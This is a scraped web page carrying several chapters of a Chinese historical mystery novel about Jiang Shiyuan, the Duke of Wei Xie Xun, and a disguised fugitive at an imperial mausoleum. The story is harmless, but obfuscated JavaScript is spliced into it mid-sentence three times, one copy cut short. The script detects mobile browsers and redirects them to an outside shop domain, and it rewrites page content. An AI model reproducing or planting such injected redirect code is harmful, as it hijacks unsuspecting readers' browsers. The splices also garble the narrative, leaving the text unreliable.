腊雪寒门,事急从权,他也顾不得城中不能纵马的规矩,在街上驰骋。汴京城中人群熙攘,还有不少商贩沿街摆摊,李小公子夜的横冲直撞不知惹得多少百姓的暗骂, 眼里只有巨关高墙,正从怀中掏出文牒甩给城门校尉时,被不知从哪冒出来的小毛贼一把夺过。 谈到此处,李奇邃又感觉遭受了奇耻大辱,拍案而起“你也不知这毛贼有多可恶,小小年纪不学好,抢什么不好,非要抢通关文牒?没了通关文牒,那群只认死理的城门校尉就不放我出汴京了。” “我软磨硬泡了许久,那为首的校尉还是黑着脸告诉我,他们也是按规矩方式,叫我不要再纠缠他们,让他们耳根子落个清闲。” “这...他们还嫌弃起我来了,简直过分!到时候,我定要向兵部参他们一本...” 姜时愿有些无语,李奇邃是个话碎的,弯弯绕绕许久,就是没有谈及谢循。 干咳几声,道:“还没到魏国公的部分吗...” 李奇邃:“急什么啊?马上来了。” 李奇邃是个急性子,眼看就要和校尉以武力论高低,恰好在此时闻到丝竹雅韵,渠道婉转的曲调顿时化解剑拔弩张的局势。 兽耳博山炉腾起的薄薄烟雾之后,司乐(1,古代乐师的雅称)素手拨弄琴弦,曲调千回百转,为上首品茶之人增添一分雅致。 能唤宫中司乐出宫独奏的,加上还有如从闲情雅性的。 李奇邃唯能想到一人。 那就是,谢循。 许是李奇邃的吵闹之声吵嚷到了听曲品茗,谢循稍含燥意地打开盖子,水雾腾起,以瓷盖刮起细细的茶沫,这动作反复数次,留下澄清的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053448|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤,这才满意,遂才抬眼扫向李奇邃。 李奇邃一怔。 他虽身在官场,但骨子里终究是个不不成器的半吊子,朝中的尔虞我诈、党争派系,他向来摸不清也不屑于参与。就如大理寺是被典狱日益抢了风头、失了地位,按理说他不应当跟这位死对头有啥交情,可李奇邃向来粗线条,大理寺是大理寺,他是他,大理寺的荣辱和敌人关他李奇邃什么事? 他还有一个‘优点’,就是脸皮厚。 李奇邃朝着谢循就是挥手大呼道,好似热络的感觉:“国公,国公!还请您帮忙。” 陆观棋接到谢循的示意,请李奇邃上前回话。 陆观棋替李奇邃倒茶:“圣人于三年颁布此律,无论官员进出汴京都必须有文牒在手,防的即是有心作乱的胡人潜入进京,还有一些人在事情败露之前紧急撤京。身居在官位的人,都不容易,校尉也是规矩办事,少卿不必如此气怒。” 理是这么个理,可李奇邃完全听不进去,“我也不想,可文牒就在须臾前被一个小贼摸走了。” 陆观棋:“少卿莫急,典狱会帮着拿人。” 李奇邃激动道:“那便来不及了!” 茶盏碰到嘴边,谢循眯着眸子,终于发话:“是什么紧急的案子,亦或者是有什么要紧的人,竟让少卿行囊连行囊也来得及收拾,还有身边也未有司直、案吏和仵作跟着?” 语气分明很是平淡,毫无情绪起伏,却无端给人刑讯的感觉。 李奇邃坐立不安,光是谈笑间就差点被谢循猜到大半,正想着如何圆谎的时候,谢循忽然说道:“少卿刚刚既然有求于我,那我定会帮你。” 李奇邃眼睛亮了“当真。” “正巧,京中腊梅都已凋谢殆尽,我有心赏景,可惜美景不等人,只好出京再另寻山水。李大人,不如与我一道出城,这样文牒之事也妥善解决了?”谢循眉头一挑:“而后我赏景,你办案。” 李奇邃咬着牙,一拍大腿,赞道:“当真是双赢之策!” .... “国公言出必行,你看此案果真完完全全交给我一人主审。” 李奇邃摇着叹道:“世人都说罗刹不近人情,我觉得他挺热心的,在我文牒弄丢时带我出京。见我底下无人,又将典狱随行的案吏和仵作过到都我的手下。” 听着李奇邃生动演绎、徐徐道来,脸上还有颇有得意之色,姜时愿眼睛的愠意都已经掩藏不住了。 温婉的大小姐如今却撸起袖子,死死揪着李奇邃的耳朵,口中的粗鄙之语止不住地往外冒:“李家高门,世代文才,怎么就生出了你这么傻子?!别人抛个杆,都还没用下饵,你就主动上钩,你是蠢吗!!” 竟然是这位活祖宗把‘罗刹’招来的! 李奇邃还哭着脸,百思不得其解,问道:“姐姐,你这话是什么意思?” 被揪着耳朵,李奇邃也不还手,委屈巴巴地盘腿坐在榻上,姜时愿平复心绪,将一只茶盏倒扣在榻上比成谢循,“天下哪有那么巧合之事?你的通关文牒刚被盗,就转眼看见了救与你水火的‘恩人’,显然魏国公是特意来城关堵你的。” 李奇邃小心翼翼道:“你就是多心了,说不准真是巧合呢。” 姜时愿没想到李奇邃是个认死理的人,叹一口气:“你难道就没想过抢你文牒的就是典狱之人呢?” “毛贼都为求财,而他不偷你的钱袋子反而专盯着你的文牒?要知道,寻常人从见识过什么是文牒,在他们看来,一张破纸又金贵到哪去?且文牒上司内落款和你的名字,旁人就算偷去,在他们手上也毫无用武之地。” “那贼人偷走文牒的唯一用处,不就为了阻止你出城吗?” 李奇邃听着姜时愿一通解释,揪着墨发,怒骂自己是个傻子。 这显然是谢循特意命人盗走的文牒阻他出城,而后佯装路过,就是为了让自己在走投无路之时主动求他帮忙! 若不是姜时愿点播,怕是他这迟钝的性格,还至今未曾发现呢。 姜时愿又道: “而且听你描述,偷文牒的毛贼轻功极佳,又年岁尚小,倒是符合符合一位我曾见见过的少年。” “谁?”李奇邃神情紧绷,也开始觉得怪异之处,普通的毛贼从来学来的上等轻功。 “典狱六处主司,袁黎。”姜时愿眼前慢慢浮现袁黎的面容,柳眉微蹙。 李奇邃一拍大腿,咬牙切齿,道:“对啊,我怎么把他忘了!” 传言,典狱有个奇才,自幼受教在谢循门下,年仅十岁就独掌一司之位,底下之人却对这位乳臭未干的孩童很是敬佩,丝毫没有不服之声。李奇邃也感觉奇怪,那些司使都是缺根筋的怎么对孩童言听计从。 直到有次听闻袁黎一人独出任务时遭十位''地''字杀手设伏,还能毫发无伤地就地反杀,自此他就对这位神秘的天才再无不敬,毕竟他都不能以一敌十,地字杀手对上一个都够呛.. 他怎么就把袁黎给忘了... 李奇邃也不知哪来的好奇心,乖巧地蹲在姜时愿的下首,追问道:“你怎么就能见到袁黎?魏国公将他把他藏得可真好好,从不教他在外人面前轻易露面,我也只是略曾听过他的名号,可对他知之甚少。若不是你今日提及,我倒快忘了还有这位天才?” 姜时愿心念,不愧是谢循教出来的,一个两个都是‘无脸怪’,身体发肤受之父母,纵使模样丑或美,也不用整日藏着掖着不见人吧,就好似被通缉在榜上的贼寇一般。 “快与我说说天才长啥样!” “长得究竟与我有何不同?” 李奇邃一张连贴得极进,向来被教授男女授受不亲的了姜时愿一时慌了方寸,忍着燥意,急忙起身朝着外廊走去:“日阳西斜,时间不早了,我在与少卿独处得太久,难免令人起疑,我先回默心斋了。” “姜姐姐!”李奇邃忽得一声叫住他,千愁万绪涌上心头,却又不敢重提姜家旧事,只是自嘲着自己的无用:“对不起,这次的事情怪我又办砸了...要不要我去探探魏国公来此的目的?” 姜时愿懂他的好意,道:“不必了,谁人看得懂罗刹的想法,就当他是来散心的罢了。反正此案已经板上钉钉,只要不会再另生事端,纵使他是魏国公,也阻止不了我回京。” 话上虽说的如此轻松,姜时愿却丝毫放不下意图不明的谢循。 谢循能将此案教给大理寺全权负责,就说明不是查盗窃皇室财务一案而来。 那他为什么要来皇陵? 皇陵里还有什么值得他亲自前面,是还有什么人知的秘密,还是这皇陵有什么他所在乎的人? 10. 010 皇陵事变突然,大理寺和典狱同来拿人搞得人心惶惶,不到睡时,默心斋已经灭了灯。 竺儿睡在通铺最角落,叹气道:“这么晚了,时愿和叶婵怎么都还没回来?不会又出了什么事情吧?” 柳儿回想起今日差点因为这二人交代在崔梅手上,不由得心有余悸,捏着被角翻了一面,心中满是恨意:“呵,你还有这闲心担心她们,咋们有这命活着还尚未可知呢?” “此话怎么讲?” “你没看到今日大理寺派人来说什么?”柳儿:“她,时愿,向少卿大人揭发崔梅有功,而我们会不会被崔梅连累还说不准呢?你想那盗皇陵的其中一人不是咱们斋中的青黛吗,万一圣人要是龙颜大怒迁怒我们,管我们是不是清白的,直接赌了咱们的嘴,压上断头台不就是分分钟的事吗?” 竺儿怕极了,捂着胸口:“别瞎说,当今圣人菩萨心肠、宅心仁厚,咱不会有事的,要斩的只有胆大包天的崔梅。” 柳儿转了一下眼珠子,“你说的也对,但就怕有人会吹耳旁风。你可别忘了,咋们之前可是帮着叶婵欺负时愿和三七许久,脏活、累活都是甩给她们的。要是你长期受制于人,如今总算有了出头之日,会不会加倍报复那些曾经欺辱你的人?” “肯定会啊!谁欺负我,我便要欺负回去,管他是不是有什么苦衷。”竺儿若有所思地点点头:“所以时愿会怎么做?” 柳儿道:“人心难防啊,估计到时候会在少卿面前胡讲我们也曾和崔梅勾结,把咱们也送进大理寺?” “绝对不可以!咱们绝对不能被关进大理寺!”竺儿:“那现在该怎么办?要不要....” 柳儿觑一眼,心中有些发虚:“你莫不是想说的是.....” “事到如今,也只有这办法了。” 两人幽幽地对视一眼,互相点头,达成一致。 话音甫落。 门扉发出嘎吱的声响又疏儿乘风被吹开,话音甫落,白衣娘子静立在门扉前,似有清冷之气,薄如蝉翼的素衣被风轻轻吹拂着,她清丽的五官一半隐于幕篱白纱之中。 几乎是在同一时间,竺儿和柳儿裹紧被褥从竹榻上跃起,面色惨白。 从白衣之后歪出一个头来,三七有些发蒙:“你们这是怎么了,见到时愿就好似见到了一个鬼一样?” 柳儿和竺儿大灌冷气,同凝着那道肩若刀削的白衣微微福身在案几前,也不知道时愿到底有没有听见。 ‘嗤啦’一声后,煤油灯芯被燃起,有了烛火映照出点灯人银蝉丝下的白玉的半臂,肤霜赛雪,当真是副名副其实的美人骨。 姜时愿垂眸,凤仙汁染成的金甲若有心思地挑拨着火星:“这世间本没有鬼,心虚者才会提心吊胆。”说罢,还将烛火故意放在颌下,估计逼近冷汗直流的柳儿二人,骇得她们步步逼退至墙角。 柳儿也搞不清楚,时愿既没有崔梅在皇陵中只手遮天的权势,也没有叶婵的剑拔弩张的气势,她永远都是从容且冷淡的,毫无威慑的,可如今站在她眼前的时愿竟生出令人无法忽视的压迫感,令她惶恐。 衣衫已经被汗水洇湿,还强作镇静。 姜时愿静立在他们面前,等着她们的‘回答’。 她的运气,可真的是一言难尽,原本以为崔梅被逮之后,她便可安枕无忧,没想到既来了罗刹,又正巧撞上了柳儿和竺儿正巧在密谋,那戛然而止的话无非是在合计怎么陷害她? 语调轻缓,神色淡淡,俯视着畏畏缩缩的两人:“怎么了?不敢说了?” “敢说!”竺儿双手恭敬呈上全部私藏的钱粮,眼泪涕下,“以后我的银两、物件都是你的,只要你看上的尽管拿去,我没有别的请求,只有一点还望你应允我。自从我第一眼见到你便觉得你十分亲切,就如家中长姐,我能唤你阿姐吗?” 姜时愿有些怔然,在竺儿声声阿姐中,耳户发烫,怎么会是这种走向? 再望向柳儿时,她已跪在雪地外,效仿负荆请罪,背着成捆的干木柴,对天发誓道:“愿姐,我叫你一声姐,以后你就是我唯一的姐!!” “阿姐——” “愿姐!” 姜时愿侧过脸去,耳户红润发烫。 怨自己没用,在进门前想了百种如何应对及拆解柳儿二人的‘杀招’,却还是败在一声声此起彼伏的‘姐’中。 ..... 闹剧结束。 亥时七刻正是打更的时间,大理寺小吏担起打更人的职责,竹梆子在手上笃笃地敲着。 姜时愿一点也没想就寝的意思,带着幕篱,一心往皇陵最深处去赶去,峦山之后有一处荒废坊院,靠近潺潺溪水,许是之前工部建造皇陵时的落脚点,后被她偶然间寻觅皇陵时发现。庭院中野蛮生长的草药吸收天地之灵,四季雨水滋润,占据得天独厚的天时地利,不仅种类繁多,且闻着色味、看其形,也算得上是百草之中的极品,她自然不能放过。 坊院在她心中分为东西两苑。 东苑的草药已尽数被她搬回默心斋,而西苑的草药也被她利用每日清扫皇陵的时机从头到尾、断断续续地挖掘过,收集出来三篓的草药,只不过最近皇陵事变太多,姜时愿无暇顾及,三篓药材仍放在西苑无能带走。 今夜她得了空,说什么也要带走‘朝思夜想’的草药们。 思及此,她两眼放光,毫不遮掩眼中的喜悦,脚步也轻快了许多。 可惜这份欢喜并没有持续多久,一切在她推开那扇厚重的朱门时,销声匿迹... 二月寒梅凋谢,留有余香,暗香初绽。 芳华美景之后只剩杂乱的枯枝,月波渡下的光华下,男子玄色暗纹的劲衣都被渡得发亮,一针一线绣出的云纹宛若祥云流动,好似活物,衣尾落在雪面卷起一点残雪,更衬得他身姿英挺、神情骨秀。 常听阿耶说男子之资在于骨,一副再好的相貌也终会随着年华落去,唯有风骨凝神,丝毫不败岁月。时至今日,再品此话,她心底的震颤无法言喻,果然阿耶说得不无道理! 四周昏暗,偏他的出现,将此地也照亮了几分。他似有文人墨客的儒雅,又有武将的杀伐,在静、动相斥下,又蕴有隐世的洒脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢循止住步子,又舀了一水浇下,绿芽沾了水意,反射光亮,她这才看清谢循别走边浇的‘花’,竟然是她日以继夜从在西苑挖掘出来的草药!不是,她辛辛苦苦将草药挖出来,谢循反手就将它们种了回去?! 不等姜时愿缓下心火,谢循又漫不经心地问道:“关于谢某说的第一位盗贼,娘子可有线索?” 若要细看,姜时愿的表情可谓丰富多彩,温婉恭顺的眉目下,怒意已经丝丝缕缕渗透四肢百骸,偏偏她隐忍地极好,语气上听不喜怒:“小女一无所知,抱歉帮不上国公。” 昏暗之下,夜间起雨,谢循缓缓转身,撑开擎扇,影拂香风。 姜时愿心中震然,毫不避讳地抬眼扫上,他的眉眼容颜被纸伞下的阴翳模糊地不甚真切,只能看见他分明的下颌,锐如刀锋,又恰到好处具有阴柔之美。 他的嗓音清冽又融于夜雨噼啪的乐奏中,寒意渗人。 “第一位贼人娘子毫无线索,那谢某将讲的第二位贼人呢,你可愿一听?” 11. 011 “愿闻其详,国公请讲。” 纸伞之下,女子神色极为平静,清雅的草木香和锦衣华服上弥散的名贵沉香交融在一起,争锋相对,互相牵制,又不压抑各自的锋芒。 谢循极为欣赏她的不露声色,继续道:“娘子不知是否想过一个问题。帝王墓中构造复杂且机关无数,就凭着崔梅派出的守陵人是如何能轻易撬开墓穴,闯过重重机关,为崔梅偷盗至宝。” “国公的意思是下墓之人除了青黛之类的守陵人,还定有一位高人领路?” “娘子聪慧。为了解开心中猜疑,谢某连夜提审了崔梅,崔梅原本死咬不说,而后又受不住重刑审问,这次倒是吐了个一干二净。” “重刑?”闻言此言的姜时愿不由地涌上一股心颤,不是由李奇邃主审此案的吗,怎么又变成了谢循审讯崔梅。 谢循好似猜出了她的疑窦,“崔梅是个硬骨头,李少卿百般刑罚都用尽了,无奈还是没能让崔梅开口,无奈之下,只好请谢某出山。”他的眉头轻轻一挑,言语却出奇地平静:“娘子有兴趣听听谢某是如何撬开她的嘴的吗?” 大理寺的刑罚又哪一项不是折磨肉身至极的呢,如此酷刑,都没撬开崔梅的嘴。所以,姜时愿根本不敢往深处想谢循的手段,光是曾在‘十八地狱’中的所见,已经够让她终身恶寒。 谢循话中有遗憾,“好吧,看来娘子不感兴趣。” 叹了口气,继续说道:“崔梅受不住重刑,坦言道曾在南陵私自关押了一名逃犯,名为慕朝,说此人轻功极佳,且擅长奇门遁甲。那慕朝为了活命,答应每月中旬帮崔梅下墓偷盗珍宝,当然崔梅也不放心此人,邃每次都会派上一位守陵人跟随,盯着慕朝的一举一动。” 姜时愿装作第一次听到,语气诧异:“慕朝现如今仍被关在南陵吗?” 谢循随意拂开嶙峋枯枝,让纸伞先行,“在谢某赶到南陵之时,地上只剩被劈成两截的铁链,慕朝已被人放走,不见踪影。所以第二位贼人所犯之罪,可要比第一位更加严重,私放典狱重犯,其罪当诛。” 原以为采花贼慕朝只被大理寺通缉,没想到还在典狱的名单上。 可姜时愿已无心担忧慕朝,一想到自己五十年刑期后还要被斩首示众,深深倒吸一口凉气,答得平静:“国公说提到的二位贼人,小女都毫无头绪,抱歉不能助国公破案。” “无妨。”谢循轻声道。 姜时愿:“所以国公甚至不惜搁下京中要务也要留在皇陵,就是为了查出这两位贼人吗?” 修长的指尖折下一节嶙峋枯枝,咔嚓一声甚是悦耳,谢循敛眉垂眸道:“两个微不足道的贼人罢了,怎会让谢某放在心上。只是这第二位贼人着实令谢某生愠,她是否知道自己放走的并不是真正的慕朝?” 姜时愿听出话中玄机,微微蹙眉:“什么意思?” 谢循慢慢逼近微垂的女子,嗓音冷冽:“娘子有所不知,大理寺在榜通缉的慕朝与典狱正在追查的‘慕朝’,既可以说同一人,也可以说不。” “此话怎讲?” “娘子,可曾听闻过‘千人面’?” 姜时愿一怔,想起曾听兄长提及过。 千人面乃是世间最有名的暗探,所属势力不明。此人常混迹官场及商贾之中,盗走无数机密和珍宝。比如,他曾伪装汴京首富李家,暗中将所有资产进行转移,害得李家家破人亡。又曾扮作当朝太师,插手银币铸造,而后将□□散播于市,危害社稷。 谢循沉声道:“千人面轻功极佳,最擅长易容,一张面孔万千变化,高深莫测,甚至世人对他是男是女都无定论。无人真正与他打过照面,或许见过,可也分辨不清哪一个是真的他?汴京柳巷阁中的吃茶的客人是他,中第榜眼的文学才子是他,只要千人面想,就能伪装成世人任何一人,画他的皮、模仿他的言谈举止,甚至连至亲之人都无法分辨。说来惭愧,典狱一直在追查千人面多年,可却始终无果。” “但人非鬼神,存活于世,总会残留蛛丝马迹。二月初旬,事情出现了转机。” 谢循的声音忽然沉了下来: “典狱在西南水库打捞上一具水尸,经仵作当场勘验此尸已死三日,皮相被刀划得模糊难辨,但谢某还是通过一些手段查到了死尸的身份,此人正为采花贼慕朝。而有意思的是,慕朝分明已经死了,但京中还有许多娘子先后遭到慕朝轻薄。” 说到这,姜时愿已思绪清楚,千人面许是看上了慕朝的身份,想要冒名顶替之,遂杀了他,而后毁坏尸身面容教人无法辨认死者身份。可惜这一副好算盘偏偏撞上了谢循。谢循虽一言带过验明死尸身份的过程,可姜时愿也知晓其中必定多有阻挠和曲折,若是他人来查此案,怕是就要成不解的悬案了。 谢循看着姜时愿蹙眉沉思,微微提声唤她,“娘子...”,这恍的一声,如同一盆冷水浇到姜时愿脸上,她才从神思抽身,道:“国公请继续。” “于是典狱中的一名司使前去追查,一月后,司使递来消息,说偶然间撞破千人面正持着丹青描绘人皮,而这人皮的相貌和采花贼慕朝如出一辙。自此之后,那名司使神秘失踪,下落不明。” 谢循眸色晦暗难辨:“若不是这次来到皇陵,审讯崔梅,就连谢某都不曾想到,苦寻之人又换了新身份,成为了采花贼慕朝。” “所以娘子你来评,第二位贼人究竟是聪慧果敢,还是自作聪明呢?” 他颀长的身影似堵高耸肃穆的青铜门,阴翳袭地,压抑到姜时愿透不过气,她只能努力平复心中讶然。 直觉告诉她,眼前之人很是危险,或许在她向谢循套话的同时,谢循也在试探她,难不成谢循早就怀疑她了?此时的压抑与沉闷,就如同花斑巨蛇缠绕住自己的命门,渐渐蜷紧,使她呼吸凝滞,来不及思考,脑中只有对他的恐惧... 姜时愿强迫自己镇定,重新整理思绪。谢循手中应没有实证,若有证据,绝对不在此七弯八绕地试探于她,而是直接重刑伺候。没有实证,谢循就不能拿她怎样。 思及此,她从容了许多。 沉寂之中,更声寥寥,敲响今夜的第叁遍。 崔梅倒下不假,可皇陵依旧延续禁制,比如,一更后不可在斋外逗留。姜时愿外在是个十足的安分养,说话做事规规矩矩,就是这个温顺谦和的样子才让崔梅着了她的道,对她毫无防备。谁又能想到曾名满汴京的世家贵女骨子里可是个叛逆的人,私下更是破了崔梅所定下的所有禁止,一条不落! 但今夜,姜时愿难得想遵守一次.... 只是为了尽快撇清眼前这个‘麻烦’。 夜风撩起她腕上的银铃丁零响着,清脆悦耳,亦如她的嗓音般。 姜时愿福身,向谢循行礼:“皇陵有禁制,小女得马上赶回默心斋,不能再陪国公,还请见谅。” 好在,谢循并没有难为她,垂首默言,姜时愿就当他应允,转身离开。 “娘子这就走了吗,当真可惜。”谢循的话倏尔冷淡,琥珀色的瞳孔渗出寒意:“不过谢某相信还会跟娘子有再见之日。” “再见之日”出口,姜时愿的后背像是被什么戳了一样,握着伞柄的手僵直且冰凉,这人说话当真滴水不露,显三分,隐七分心思。 清凉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053450|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨滴落在她的玉面上,她努力让自己神色平静,戴上幕篱,将上卷的薄纱放下,轻声道:“告辞。” — 待姜时愿离开后,一位玄衣暗卫从树上跃下,跪在谢循身后:“国公就这么放她走了?您不是怀疑她就是放走千人面的吗?” “不是怀疑,是肯定。”谢循的声音沉沉。 暗卫急急问道:“既然如此,国公为何要放她离开。” “皇陵之案关系重大,圣人都要亲自过问,姜娘子现在是有功之臣,若没有确凿的证据,绝不能动她,免得被朝中有心之人借题发挥。” 暗卫似懂非懂,只抓住了个姜娘子的字眼:“莫非,这位姜娘子就是前左相之女,姜时愿?国公难不成,早就认出她来了?” 谢循仰头望向清月,似笑非笑。 原本都要忘了这位令他记忆深刻的女子,可是来到皇陵,撞见那双明眸的那一瞬,他竟在那刹那有了夺舍之感,而后在典狱初见的记忆如走马灯般在眼前重过了一遭,教他彻底清醒过来,唇角勾着浅浅的笑意。 时隔一年,姜时愿还是能带给他十足的惊喜。凭借一己之力查出皇陵机密,也多了亏她,典狱又能顺藤摸瓜,从崔梅口中重新查到千人面的线索。 这位久违惊喜唯姜时愿能带给他,令谢循不再对周遭打不起精神。 暗卫又道:“只可惜这姜姑娘放跑了千人面,好不容易追查到的线索又断了。” “可惜?”谢循轻笑一声,眸色沉沉。 “还不如感谢姜娘子,有了她,千人面的线索便不会再断了。” - 曾经的姜家也处在权贵之流中,姜时愿自然结交过无数官宦人家、商贾、志向崇高的学士和武将,还撞见过不少谄媚之人。阶级层流上至青衣贵族,下至平民百姓,无论来人谁,她都能在交谈之中看破一二对方的心思与底牌,这也是姜家教给她的从容和为人处世之道。 可自从遇见谢循之后,她愈发猜不透此人,尽管他在咫尺之间,也好似隔着一层朦胧绰约的帷幕,看不清,道不破。 这种镜中观鹤、雾里看花的别扭感,让她难得烦闷。 遇见谢循一次,她的心性就不稳一次。 也罢,谢循就是个不折不扣的‘罗刹’,倘若她能琢磨出‘恶鬼’的心思,岂不就是半个半仙。 有了这个宽解自己的理由,姜时愿心里好受了许多。 由着手中的灯火映亮,走下清幽山路。 默心斋前有段抄手游廊,廊内幽深狭长,从前白日走过还能嗅到馥郁的海棠花香。可惜眼下二月末,芳华凋谢,这一段无趣的长廊只有呼啸夜风作伴。 也不知是谁听出她心中的寂寞和烦躁,忽然插入一道宛转悠扬的江南曲调: 冬已尽,春又暮,姻缘两字空中舞。 似这般相思牵萦苦..... 郎君到底知数不知数? 要知道,女儿心肠,哪个姑娘不想郎? (1)引用加稍作改编,《知心客》 此曲如闻天籁,唱到相思之苦时,如泣如诉,闻者落泪。 姜时愿不自觉地听得痴了,来皇陵一年有余,怎么都不知皇陵中还有谁能有这副好嗓子? 她的脚步毫不犹豫绕过云庭柱,歌声也越来越清晰。 忽然她的眼神一停,落在一名眼熟的女子身上,她倚着朱漆杆,对着手中的铜镜描眉梳妆,食指摸过眼尾,划过一丝金芒,又要拿起妆笔想在眼角缀上两点朱砂痣。 镜面反射姜时愿的影子,女子用披帛捂着嘴笑道:“在这等你许久了,可算来了。” 12. 012 见清此人是叶婵,姜时愿想都没想径直走开,却被突然横来的一只玉足拦住。 绣着大红牡丹的绣鞋缓缓上移,正巧堂风吹过,她素白的衣裙随风而动,但在此情此景下又朦胧的气氛上,又好像是此足刻意地在撩拨、玩弄她的衣摆。 叶婵眯着眼笑道:“我还以为姐姐会来问我,为什么会在崔梅面前帮你做伪证呢?” 确实,这曾是困扰姜时愿的疑点。 叶婵与她素来不和,曾偶然间见到自己趁夜色前去南陵,遂掌握了她这个致命的把柄,又威胁柳儿在崔梅面前供出自己,估计叶婵原本的算盘就是借着柳儿的嘴和崔梅的手除掉自己。 本该是这样,可是叶婵又在崔梅询问时帮她做了伪证,称慌时愿不曾去过南陵。 这前后的转变,确实让人匪夷所思,但现在她心中已有猜测。 姜时愿见躲不过,便坐在她的身旁,问道:“那你现在说说,为何要帮我。” 一张极其妖娆的脸上一瞬靠近姜时愿,叶婵弯着眉眼问道:“那姐姐先想告诉我,今夜见了哪位男子?你身上有其他男子的味道,我很不喜。” 姜时愿不曾闻出,但也不喜沾上谢循的味道,于是小心翼翼嗅起自己的衣袖,确认除了草木香没有其余的味道后,遂安心地说道:“为你好,你不会愿意听见他的名字。” 叶婵紧逼:“谁?” 姜时愿淡道:“魏国公,谢循。” 果不其然,叶婵面色聚变,笑容戛然而止,又察觉到姜时愿的眼神一刻也移开过她,恢复镇静,从容地扯了扯嘴角,摇着手中香扇:“魏国公?你们有什么可聊的,要聊这么久?” 这次轮到姜时愿笑了笑,拿起她妆匣中的螺子黛:“国公只不过想从我口中套出一名逃犯的下落罢了,他说此人轻功极佳,曾在汴京中杀害出无数高官,但在这三年间忽然就消声觅迹了。对了,叶婵,说不准你真认识此人?” “谁?”叶婵的声音忽然就软下来。 廊下雨声伶仃。 剑拔弩张之际,姜时愿轻巧地抬起叶婵轻巧的下颌,看着她艳丽张扬的妆容,竟生出一声称羡:“你一个男人,竟然簪发、描妆本事,比我还好,这张脸皮当真和叶婵一模一样。” ‘叶婵’瞳孔颤动,气息混乱:“哈?” 姜时愿低头看‘她’:“所以,我应该叫你慕朝还是‘千人面’呢?” 按谢循所说,千人面极会易容,只要千人面想,无论男女老少、各行各业,都能仿之,几乎能以假乱真,语气、样貌、爱好、脾性全部如初一辄,难怪甚至来被模仿者的亲属也分辨不出。 冬虫飘在水面上,扑地一声,无人在意。 处在下首的‘叶婵’先是一瞬怔然,然后仰在朱漆杆上,笑得花枝乱颤,也不丝毫在意自己穿着罗衫裙,双腿高高翘起,勾起脚尖。 这姿势颇为豪爽,只是,放在这眼前娇艳的女子上十分违和。 看来他不打算在装了。 “姜小姐果然聪慧,没有让我失望。” 下一瞬,纤纤玉手撕下覆在脸上的人皮,一点点上挑,露出突兀的喉结,又道,“重新认识下,在下慕朝。” 慕朝原以姜时愿再次见到他时,眼中会有惊,会有喜。 然后,这次姜时愿看见他的眼神又加了一层愠,一层疑。 “慕朝?”姜时愿摇了摇头,冷笑一声:“要我提醒你吗,你只是个占着慕朝身份的杀人犯罢了?”而后,冷冷唤出他真正的名字:“千人面。” 姜时愿眼前之人五官依旧是‘叶婵’的样貌,可原本清越的女声已经转化为富有磁性的嗓音,慕朝一边面不改色撕去束缚,一边说道:“姜小姐,千人面是我不敢回忆的曾经,所以还是唤我慕朝吧,这也是我与姜小姐初见用的名字,值得纪念。” 姜时愿直击他的痛点:“你就这么怕,有人提及你作为千人面的过往吗?又为什么会被关在南陵?” 慕朝还未来得及卸干净指甲上的朱红,举起腕骨,满意地欣赏起来:“怎么今夜姜小姐忽然对我的过往有了兴趣,南陵那次初遇的时候,你可说你对我的从前毫不在意。” “现在不同了,你是典狱记载在案的重犯,是能让魏国公亲自为你而来的人。” “照这么说,我还是沾了谢循的光。”慕朝冷哼一声,面无表情地折断一截红姐,夺目刺眼的鲜血顺着如玉的指节淌下。 “你想知道,我就会告诉你。只是,不是现在。”慕朝站直身子,不知不觉间他的身形已经约莫比先前的弱柳之姿高了一倍,又听到姜时愿问道“那是什么时候?”,然后她嘴角笑得肆意:“等小姐不再因谢循而对我感兴趣的时候,而是,你真的想了解我,想懂一个真正的我。” 看来这个话题是聊不下去了,微风拂过姜时愿耳边的鬓发,她将碎发撩至而后:“那先不谈此事,说吧,你为什么要回皇陵?” 慕朝若有所思地将下颌搭在腿膝之上,歪着头,凝视着姜时愿:“因为我想更懂姜小姐,这样才能画出的神韵....” 那日离别之后,慕朝按着姜时愿的吩咐逃离出皇陵之后,伪装成一位妙龄少女去往大理寺送信。这件差事本该到此为止画上句点,也算偿还了姜时愿的恩情。可这人啊,懒散太久,就喜欢给自己找点乐子,慕朝又生来喜欢看戏,他太好奇贵女唱这一出大戏的目的,以及她如何能不依靠他,正大光明地走出皇陵? 更主要的原因慕朝喜欢收集皮囊,也就是世间人的皮相,尤其爱美人。慕朝好待也描摹过少说数百娘子的皮相,唯独要落笔画姜时愿的时候,却发现永远只能仿其形,金纸笔墨和丹青都描摹不出姜小姐的半分神韵。 